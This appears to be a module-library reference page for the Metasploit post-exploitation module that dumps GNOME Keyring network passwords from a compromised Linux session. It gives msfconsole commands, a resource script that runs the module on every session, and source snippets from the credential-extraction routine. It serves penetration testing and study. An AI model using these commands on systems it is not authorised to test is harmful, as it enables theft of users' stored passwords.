Gnome-Keyring Dump - Metasploit


This page contains detailed information about how to use the post/linux/gather/gnome_keyring_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Gnome-Keyring Dump
Module: post/linux/gather/gnome_keyring_dump
Source code: modules/post/linux/gather/gnome_keyring_dump.rb
Disclosure date: -
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Use libgnome-keyring to extract network passwords for the current user. This module does not require root privileges to run.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/gnome_keyring_dump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/gnome_keyring_dump
msf post(gnome_keyring_dump) > show options
    ... show and set options ...
msf post(gnome_keyring_dump) > set SESSION session-id
msf post(gnome_keyring_dump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/gnome_keyring_dump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the linux/gather/gnome_keyring_dump post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/gnome_keyring_dump

msf6 post(linux/gather/gnome_keyring_dump) > show info

       Name: Gnome-Keyring Dump
     Module: post/linux/gather/gnome_keyring_dump
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Spencer McIntyre

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  Use libgnome-keyring to extract network passwords for the current 
  user. This module does not require root privileges to run.

Module Options


This is a complete list of options available in the linux/gather/gnome_keyring_dump post exploitation module:

msf6 post(linux/gather/gnome_keyring_dump) > show options

Module options (post/linux/gather/gnome_keyring_dump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the linux/gather/gnome_keyring_dump post exploitation module:

msf6 post(linux/gather/gnome_keyring_dump) > show advanced

Module advanced options (post/linux/gather/gnome_keyring_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the linux/gather/gnome_keyring_dump module can do:

msf6 post(linux/gather/gnome_keyring_dump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the linux/gather/gnome_keyring_dump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/gnome_keyring_dump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

libgnome-keyring is unavailable


Here is a relevant code snippet related to the "libgnome-keyring is unavailable" error message:

205:	    init_railgun_defs
206:	    @hostname_cache = {}
207:	    libgnome_keyring = session.railgun.libgnome_keyring
208:	
209:	    unless libgnome_keyring.gnome_keyring_is_available()['return']
210:	      fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
211:	    end
212:	
213:	    result = libgnome_keyring.gnome_keyring_find_network_password_sync(
214:	      nil,  # user
215:	      nil,  # domain

Did not receive a list of passwords


Here is a relevant code snippet related to the "Did not receive a list of passwords" error message:

220:	      0,    # port
221:	      session.native_arch == ARCH_X64 ? 8 : 4
222:	    )
223:	
224:	    list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
225:	    fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
226:	
227:	    entry = { :next_ptr => list_anchor }
228:	    begin
229:	      entry = get_list_entry(entry[:next_ptr])
230:	      pw_data = entry[:data]

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.